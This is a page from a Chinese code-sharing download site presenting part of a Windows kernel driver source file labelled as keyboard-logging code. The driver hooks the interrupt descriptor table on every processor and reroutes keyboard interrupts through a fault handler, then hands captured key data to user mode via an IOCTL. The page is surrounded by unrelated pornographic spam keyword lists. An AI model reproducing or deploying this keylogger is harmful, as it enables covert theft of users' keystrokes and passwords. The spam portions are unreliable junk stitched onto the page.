亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? inp.c

?? 內(nèi)核下鍵盤(pán)記錄的代碼
?? C
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
void InpIOAPICConnection(unsigned long ** MappedVirtualVariable)
{
	PHYSICAL_ADDRESS IOAPIC_AREA;     // i/o apic mapped pointer
	
	//
	//  Connect physical memory 0xfec00000 to [MappedVirtualVariable]
	//
	
	IOAPIC_AREA = RtlConvertLongToLargeInteger(0xFEC00000);
	*MappedVirtualVariable = MmMapIoSpace(IOAPIC_AREA, 0x20, MmNonCached);
}

void InpIOAPICDisconnection(unsigned long ** MappedVirtualVariable)
{
	MmUnmapIoSpace(*MappedVirtualVariable, 0x20);
}

ULONG InpGetKeyboardInterruptVector(void)
{
	ULONG ReturnValue = 0;
	
	// IOREGSEL writing
	IOAPICGate[0] = 0x10 + 2 * 1; // 0x10 + 2 * IRQ, Keyboard's irq is 1
	// read IOWIN
	ReturnValue = IOAPICGate[4] & 0xFF;

	//
	// Getting Hardware IRQL to corresponding to the IRQ 1
	// using i8042prt driver's Interrupt Object
	kKeyboardHardwareIrql = (ULONG)GetI8042PrtInterruptObject()->Irql;
	if (!kKeyboardHardwareIrql)
		kKeyboardHardwareIrql = 0x8; // default on single-processor x86 family
	
	DbgPrint("Keyboard Hardware IRQL :: 0x%x\n", kKeyboardHardwareIrql);

	if (!ReturnValue)
		ReturnValue = 0x93; // default ps/2 keyboard vector on wintelXP
	
	return ReturnValue;
}

PKINTERRUPT GetI8042PrtInterruptObject(void)
{
	PDEVICE_OBJECT pDeviceObject = NULL; // Keyboard DeviceObject
	PFILE_OBJECT fileObject;
	UNICODE_STRING keyName;
	PPORT_KEYBOARD_EXTENSION KeyboardExtension;
	PKINTERRUPT ReturnValue = NULL;
		
	RtlInitUnicodeString( &keyName, NT_KEYBOARD_NAME0 );
	
	// Getting the DeviceObject top-of-the-stack of the kbdclass device
	IoGetDeviceObjectPointer(&keyName,
							  FILE_READ_ATTRIBUTES,
							  &fileObject, 
							  &pDeviceObject);
	
	// if fails 
	if( !pDeviceObject )
	{
		DbgPrint("IoGetDeviceObjectPointer Fail.");
		return NULL;
	}
	else
		DbgPrint("Top Object : %x\n", pDeviceObject);

	DbgPrint("Tracking %x \t/Driver/i8042prt\n", ((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo);

	// Tracking the DeviceStack
	//
	//
	// If it is not a i8042prt
	while( pDeviceObject->DeviceType != FILE_DEVICE_8042_PORT )
	{
		// go to the lower level object
		if (((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo)
			pDeviceObject = ((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo;
		else // here is lowest-level and couldn't find i8042prt
		    return NULL;
	}
	//
	// pDeviceObject == i8042prt's DeviceObject
	//
	ReturnValue = (PKINTERRUPT)((PPORT_KEYBOARD_EXTENSION)pDeviceObject->DeviceExtension)->InterruptObject;

	DbgPrint("i8042prt.sys->Interrupt Object :: 0x%p", ReturnValue);
	
	return ReturnValue;
}

void Initialization(VOID (*FunctionPointer)(IN PKDPC, IN PVOID, IN PVOID, IN PVOID))
{
	/*
	 *
	 * Multi-Processor Consideration ::
	 *
	 * Each processor has it's own IDT.
	 * 
	 */
	CCHAR i;
	long currentProcessor;
	PKDPC pkDpc;
	KIRQL oldIrql, currentIrql;
	
	currentIrql = KeGetCurrentIrql();
	
	if (currentIrql < DISPATCH_LEVEL)
		KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);

	InterlockedAnd(&allProcessorDone, 0);

	pkDpc = (PKDPC)ExAllocatePoolWithTag(NonPagedPool, KeNumberProcessors * sizeof(KDPC), (ULONG)' pni');
	
	if (!pkDpc)
	{
		DbgPrint("Insufficient Resource error\n");
		return;
	}

	currentProcessor = KeGetCurrentProcessorNumber();

	for (i = 0; i < KeNumberProcessors; i++)
	{
		KeInitializeDpc(&pkDpc[i],
						FunctionPointer,
						NULL);
		KeSetTargetProcessorDpc(&pkDpc[i], i);
		KeInsertQueueDpc(&pkDpc[i], NULL, NULL);
	}

	// wait for all of the processor's hooking initialization.
	while(InterlockedCompareExchange(&allProcessorDone, KeNumberProcessors - 1, KeNumberProcessors - 1) != KeNumberProcessors - 1)
	{
		_asm pause;
	}
	
	if (currentIrql < DISPATCH_LEVEL)
		KeLowerIrql(oldIrql);

	if (pkDpc)
	{
		ExFreePool(pkDpc);
		pkDpc = NULL;
	}
}

void MPInitializationThread(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)
{
	unsigned long i = KeGetCurrentProcessorNumber();
	unsigned char    buffer[6];
	unsigned int *   IdtrBaseAddress = (unsigned int *)&buffer[2]; // Idtr->Base
	unsigned short * IdtrLimit = (unsigned short *)&buffer[0];
	PIdtEntry_t      IdtEntry;
	
	_asm sidt buffer;
  	IdtEntry=(PIdtEntry_t)*IdtrBaseAddress;	// Get a base address of idt

	OldHandler[i] = ((unsigned int)IdtEntry[0xD].OffsetHigh<<16U)|
				    (IdtEntry[0xD].OffsetLow);

	_asm nop;
	_asm nop;
	_asm nop;
	
  	_asm cli;
	IdtEntry[0xD].OffsetLow=(unsigned short)NewHandler;
 	IdtEntry[0xD].OffsetHigh=(unsigned short)((unsigned int)NewHandler>>16);

	*IdtrLimit = 0xFF;// 0 to 31 are allowed.
	//*IdtrLimit = (8 * n - 1);
	_asm lidt buffer;

	_asm sti;

	InterlockedIncrement(&allProcessorDone);
	DbgPrint("Processor [%x] :: Complete.\n", allProcessorDone);
}

void MPDisabledThread(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)
{	
	unsigned long i = KeGetCurrentProcessorNumber();
	unsigned char    buffer[6];
	unsigned int *   IdtrBaseAddress = (unsigned int *)&buffer[2]; // Idtr->Base
	unsigned short * IdtrLimit = (unsigned short *)&buffer[0];
	PIdtEntry_t      IdtEntry;
	
	_asm sidt buffer;
  	IdtEntry=(PIdtEntry_t)*IdtrBaseAddress;	// Get a base address of idt

	_asm cli;

	*IdtrLimit = 0xFFFF;
	_asm lidt buffer;

	IdtEntry[0xD].OffsetLow=(unsigned short)OldHandler[i];
	IdtEntry[0xD].OffsetHigh=(unsigned short)((unsigned int)OldHandler[i]>>16);
	_asm sti;

	InterlockedIncrement(&allProcessorDone);
}

/*
 *
 *					 Driver Template
 *
 */

VOID DrvUnload(IN PDRIVER_OBJECT pDriverObject)
{
	PDEVICE_OBJECT pDeviceObject;
	UNICODE_STRING uniWin32NameString;
	
	Initialization(MPDisabledThread);

	InpIOAPICDisconnection(&IOAPICGate);
	
	if (OldHandler)
		ExFreePool(OldHandler);

	if (pEvent)
	{
		ObDereferenceObject(pEvent); // delete event reference
		pEvent = NULL;
	}
		
	pDeviceObject = pDriverObject->DeviceObject;

	RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
	IoDeleteSymbolicLink( &uniWin32NameString );
	IoDeleteDevice( pDriverObject->DeviceObject );
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)
{
	PDEVICE_OBJECT pDeviceObject = NULL;
	NTSTATUS ntStatus;
	UNICODE_STRING uniNtNameString, uniWin32NameString;
	int i;
	KIRQL testIrql;

	RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
	ntStatus = IoCreateDevice (
					pDriverObject,
                    0,	// DeviceExtensionSize
                    &uniNtNameString,
                    FILE_DEVICE_UNKNOWN,		// 
                    0,							// No standard device characteristics
                    FALSE,						// not exclusive device
                    &pDeviceObject
                    );
	if( !NT_SUCCESS(ntStatus) )
	{
		return ntStatus;
	}

	// create dispatch points for create/open, close, unload
	pDriverObject->DriverUnload = DrvUnload;

	RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
	ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
	if (!NT_SUCCESS(ntStatus))
	{
		IoDeleteDevice( pDriverObject->DeviceObject );
	}

	for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
		pDriverObject->MajorFunction[i] = IoDispatch;
	
	pDriverObject->MajorFunction[IRP_MJ_READ]			= 
	pDriverObject->MajorFunction[IRP_MJ_WRITE]			= IoReadWrite;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoDeviceControl;

	i = KeNumberProcessors * sizeof(PULONG);
	
	OldHandler = (PULONG)ExAllocatePoolWithTag(NonPagedPool, i, (ULONG)' pni');
	RtlZeroMemory(OldHandler, i);
	/////                            /////
	//                                  //
	//             Start!!!             //
	//                                  //
	/////                            /////
	InpIOAPICConnection(&IOAPICGate);
	KeyboardInterruptVector = InpGetKeyboardInterruptVector();
	Initialization(MPInitializationThread);

	return STATUS_SUCCESS;
} //DriverEntry

NTSTATUS IoDispatch(IN PDEVICE_OBJECT pDeviceObject, IN	PIRP pIrp)
{
	NTSTATUS iStatus = STATUS_SUCCESS;

	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= 0;
	IoCompleteRequest( pIrp, IO_NO_INCREMENT );
	return iStatus;
}

NTSTATUS IoDeviceControl(IN	PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
	NTSTATUS				iStatus = STATUS_SUCCESS;
	PIO_STACK_LOCATION		pStack;
	ULONG					iTransfered = 0;

	HANDLE hEvent;
	
  	pStack = IoGetCurrentIrpStackLocation(pIrp);
	
	switch( pStack->Parameters.DeviceIoControl.IoControlCode)
	{
		case IOCTL_REGISTER_EVENT:
			hEvent = * (PHANDLE) pIrp->AssociatedIrp.SystemBuffer;
			iStatus = ObReferenceObjectByHandle(hEvent, EVENT_MODIFY_STATE, *ExEventObjectType, pIrp->RequestorMode, (PVOID *)&pEvent, NULL);
			break;
			
		case IOCTL_REQUEST_DATA:
			memcpy( (void *)pIrp->AssociatedIrp.SystemBuffer, (const void *)data, sizeof(char [2]));
			iTransfered = sizeof(char [2]);
			break;

		default:
			iStatus = STATUS_INVALID_PARAMETER;
			break;
	}

	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= iTransfered;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	
	return iStatus;
}

NTSTATUS IoReadWrite(IN PDEVICE_OBJECT pDeviceObject, IN	PIRP pIrp)
{
	NTSTATUS				iStatus = STATUS_SUCCESS;
	PIO_STACK_LOCATION		pStack;
	ULONG					iTransfered = 0;

	pStack = IoGetCurrentIrpStackLocation(pIrp);
	
	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= iTransfered;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	
	return iStatus;
}

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国模娜娜一区二区三区| 亚洲免费观看高清在线观看| 久久精品国产成人一区二区三区| 欧美亚洲国产怡红院影院| 亚洲国产高清aⅴ视频| 日本成人在线电影网| 91久久精品日日躁夜夜躁欧美| 国产精品久久久久久久久免费丝袜 | 欧美高清激情brazzers| 国产精品久久久久久久岛一牛影视| 黄页视频在线91| 日韩视频在线一区二区| 国产成人av一区二区三区在线观看| 日韩美女一区二区三区四区| 偷拍一区二区三区| 91行情网站电视在线观看高清版| 国产三级欧美三级日产三级99| 国产精品99久| 最新久久zyz资源站| 本田岬高潮一区二区三区| 日韩亚洲欧美成人一区| 国产成人av资源| 国产精品成人免费在线| 一本久道久久综合中文字幕| 国产精品乱码一区二区三区软件| 成人国产在线观看| 亚洲欧洲日韩在线| 宅男在线国产精品| 精品影视av免费| 亚洲美女电影在线| 精品少妇一区二区三区免费观看| 成人网在线免费视频| 一区二区三区在线视频免费| 在线综合+亚洲+欧美中文字幕| 国产美女精品人人做人人爽| 亚洲欧美日韩国产手机在线| 欧美日本国产视频| 成人一二三区视频| 欧美喷水一区二区| 亚洲不卡一区二区三区| 精品福利视频一区二区三区| 91高清在线观看| gogogo免费视频观看亚洲一| 日韩成人午夜电影| 亚洲激情图片小说视频| 国产日韩精品一区二区浪潮av| 一本一本大道香蕉久在线精品| 国产91丝袜在线播放九色| 日韩精品久久久久久| 一级女性全黄久久生活片免费| 国产精品人人做人人爽人人添| 精品国产免费久久| 欧美一卡2卡3卡4卡| 91精品国产91久久综合桃花| 欧美影院一区二区| 欧美福利视频导航| 这里只有精品视频在线观看| 欧美精品亚洲二区| 欧美丰满美乳xxx高潮www| 欧美高清一级片在线| 91精品国产福利在线观看| 日韩一级片网站| 久久伊99综合婷婷久久伊| 久久久久久夜精品精品免费| 中文字幕精品在线不卡| 亚洲日韩欧美一区二区在线| 亚洲一区二区视频在线| 五月天欧美精品| 紧缚捆绑精品一区二区| 国产一区二区三区四区在线观看| 国产传媒欧美日韩成人| 91原创在线视频| 91麻豆精品国产自产在线观看一区| 欧美伦理电影网| 亚洲日本乱码在线观看| 日本在线观看不卡视频| 在线看不卡av| 一区二区三区 在线观看视频| 91丨九色丨国产丨porny| 亚洲欧美一区二区不卡| 国产一区二区三区免费观看| 91精品一区二区三区在线观看| 亚洲夂夂婷婷色拍ww47| 欧洲精品一区二区| 亚洲成av人片www| 欧美大胆人体bbbb| 精品午夜久久福利影院| 久久香蕉国产线看观看99| 国产综合成人久久大片91| 国产日韩欧美精品综合| 亚洲在线成人精品| 蜜臀av一区二区在线免费观看| 91在线视频在线| 国产女主播视频一区二区| 麻豆成人综合网| 欧美精品丝袜中出| 日日夜夜一区二区| 在线观看91精品国产麻豆| 亚洲国产欧美日韩另类综合| 粉嫩13p一区二区三区| 欧美精品一区二区久久久| 美女视频黄a大片欧美| 91麻豆精品国产91久久久更新时间| 国产精品久久久久aaaa樱花| 成人精品国产福利| 亚洲免费在线看| 欧美高清激情brazzers| 久久精品国产99国产精品| 精品99一区二区三区| 国产精品一二三四区| 国产精品伦理在线| 色综合色综合色综合| 日韩在线一区二区三区| 精品成人在线观看| av毛片久久久久**hd| 婷婷成人激情在线网| 欧美一二三区在线观看| 国产精品996| 亚洲美女淫视频| 日韩欧美不卡一区| 日韩欧美另类在线| 97久久精品人人做人人爽50路| 一本色道久久综合精品竹菊| 久久亚洲一区二区三区明星换脸| 国产在线观看一区二区| 成人国产精品免费观看| 国产日韩欧美a| 不卡区在线中文字幕| 26uuu国产在线精品一区二区| 久久99国产精品久久99| 亚洲欧洲成人av每日更新| 欧美视频自拍偷拍| 国产99久久久国产精品潘金| 一区二区欧美国产| 国产午夜精品久久久久久免费视| 在线精品视频免费播放| 韩国成人在线视频| 日韩激情一区二区| 亚洲免费观看高清完整版在线观看| 欧美大片日本大片免费观看| 欧美专区日韩专区| 91一区二区在线观看| 成人黄色网址在线观看| 激情五月激情综合网| 久久成人av少妇免费| 日本不卡的三区四区五区| 亚洲一区二区欧美激情| 亚洲精品一二三四区| 国产精品每日更新在线播放网址 | 成人av午夜电影| 国产成人精品免费在线| 国产精品影视网| 加勒比av一区二区| 国内精品久久久久影院色| 久久成人麻豆午夜电影| 久久精品噜噜噜成人88aⅴ| 蜜臀久久久久久久| 国内精品写真在线观看| 国产成人精品免费| 一本色道久久综合亚洲精品按摩| 91丨九色丨黑人外教| 欧美久久久久久蜜桃| 久久青草国产手机看片福利盒子| 亚洲国产成人私人影院tom| 成人欧美一区二区三区在线播放| 一区二区三区中文字幕精品精品| 日韩精品五月天| 国产激情一区二区三区四区 | 99久久久久免费精品国产 | 日韩一区二区免费视频| 久久久久久97三级| 午夜视频一区在线观看| 国产真实乱偷精品视频免| 色综合色综合色综合色综合色综合| 一本久久a久久免费精品不卡| 欧美一区二区免费视频| 国产人久久人人人人爽| 亚洲自拍偷拍av| 国产成人av自拍| 精品免费国产二区三区| 一区二区三区欧美在线观看| 国产在线国偷精品产拍免费yy| 在线免费视频一区二区| 精品久久久久av影院 | 夜夜嗨av一区二区三区中文字幕| 精品一区二区三区免费播放| 欧美日韩一区在线观看| 中文字幕中文字幕在线一区| 激情五月激情综合网| 777欧美精品| 日韩精品电影一区亚洲| 91视频免费观看| 中文字幕 久热精品 视频在线| 精品在线一区二区| 日韩欧美一二三区| 毛片一区二区三区| 欧美va亚洲va香蕉在线| 麻豆精品蜜桃视频网站| 欧美成人一区二区三区片免费 | 蜜臀av国产精品久久久久|